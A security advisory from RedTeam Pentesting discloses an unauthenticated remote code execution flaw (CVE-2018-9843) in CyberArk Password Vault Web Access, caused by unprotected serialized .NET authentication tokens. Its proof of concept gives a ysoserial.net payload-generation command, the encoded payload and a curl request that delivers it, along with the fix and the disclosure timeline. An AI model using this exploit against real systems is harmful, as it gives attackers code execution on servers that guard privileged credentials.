[RT-SA-2017-014] CyberArk Password Vault Web Access Remote Code Execution Apr 09 2018 07:42AM
RedTeam Pentesting GmbH (release redteam-pentesting de)
Advisory: CyberArk Password Vault Web Access Remote Code Execution

The CyberArk Password Vault Web Access application uses authentication
tokens which consist of serialized .NET objects. By crafting manipulated
tokens, attackers are able to gain unauthenticated remote code execution
on the web server.

Details
=======

Product: CyberArk Password Vault Web Access
Affected Versions: < 9.9.5, < 9.10, 10.1
Fixed Versions: 9.9.5, 9.10, 10.2
Vulnerability Type: Remote Code Execution
Security Risk: high
Vendor URL: https://www.cyberark.com/
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-014
Advisory Status: published
CVE: CVE-2018-9843
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9843

Introduction
============

"CyberArk Enterprise Password Vault is designed to secure, rotate and
control access to privileged account credentials based on organizational
policies. A flexible architecture allows organizations to start small
and scale to the largest, most complex IT environments. The solution
protects privileged account credentials used to access the vast majority
of systems."
(from the Enterprise Password Vault Data Sheet [1])

More Details
============

The CyberArk Password Vault provides secure storage for credentials. It
may be accessed through various clients which are also provided by
CyberArk. One such client is the CyberArk Password Vault Web Access, a
.NET web application. After logging into the web application with their
credentials, users may access credentials kept in the vault.
Additionally, CyberArk Password Vault Web Access provides a REST API for
programmatic access to the vault. This API is available at an URL
similar to the following:

https://10.0.0.6/PasswordVault/WebServices/

The API provides multiple endpoints with different methods.
Most methods provided by the API require prior authentication.
Consequently, a user's API call must include an authentication token in
an HTTP authorization header. Tokens may be generated by calling a
dedicated "Logon" API method.

Analysis of this token by RedTeam Pentesting revealed, that it consists
of a base64 encoded, serialized .NET object of the type
"CyberArk.Services.Web.SessionIdentifiers". This class consists of four
string attributes which hold information about a user's session. The
integrity of the serialized data is not protected. Therefore, attackers
may send arbitrary .NET objects to the API in the authorization header.
By leveraging certain gadgets, such as the ones provided by
ysoserial.net [2], attackers may execute arbitrary code in the context
of the web application.

Proof of Concept
================

First, a malicious serialized .NET object is created. Here the
"TypeConfuseDelegate" gadget of ysoserial.net is used to execute the
"ping" command:

------------------------------------------------------------------------

$ ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "ping 10.0.0.19" > execute-ping.txt

$ cat execute-ping.txt
AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVy

ZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3Rl

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ZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAE

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CgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50

MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5J

bnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgA

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YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL
------------------------------------------------------------------------

Next, an API call is invoked which includes the malicious .NET object in
its authorization header. This is done with cURL [3] as follows:

------------------------------------------------------------------------

$ curl -s -X GET -k --url 'https://10.0.0.6/PasswordVault/WebServices/PIMServices.svc/' 'Applications/?Location=\&IncludeSublocations=true' --header "authorization: $(cat execute-ping.txt)" --header 'content-type: application/json'
------------------------------------------------------------------------

Simultaneously, tcpdump [4] is invoked on the host 10.0.0.19 to listen
for ICMP packets originating from the web server:

------------------------------------------------------------------------

$ sudo tcpdump -i enp0s25 icmp
tcpdump: verbose output suppressed[...]
listening on enp0s25[...]

IP 10.0.0.6 > 10.0.0.19: ICMP echo request, id 1, seq 6, length 40
IP 10.0.0.19 > 10.0.0.6: ICMP echo reply, id 1, seq 6, length 40
------------------------------------------------------------------------

The fact that ICMP packets are received from the web server, indicates
that attacker-controlled code was executed.

Workaround
==========

Disable any access to the API at the route /PasswordVault/WebServices.

Fix
===

Upgrade CyberArk Password Vault Web Access to version 9.9.5, 9.10 or
10.2.

Security Risk
=============

The risk of this vulnerability is rated as high. Attackers with access
to the PrivateArk Vault Web Access REST API may execute arbitrary code
on the web server. No credentials are required. Attackers gain access to
the system with the privileges of the web application. Consequently,
such access may be used to backdoor the web application and compromise
further accounts and credentials. Additionally, attackers may pivot from
the web server to attack the vault directly.

Timeline
========

2017-11-24 Vulnerability identified
2018-01-22 Customer approved disclosure to vendor
2018-02-05 Vendor notified
2018-02-28 Vendor released fixed version
2018-04-06 CVE number requested
2018-04-07 CVE number assigned
2018-04-09 Advisory released

References
==========

[1] http://lp.cyberark.com/rs/316-CZP-275/images/ds-enterprise-password-vaul
t-11-15-17.pdf
[2] https://github.com/pwntester/ysoserial.net
[3] https://curl.haxx.se/
[4] https://www.tcpdump.org/

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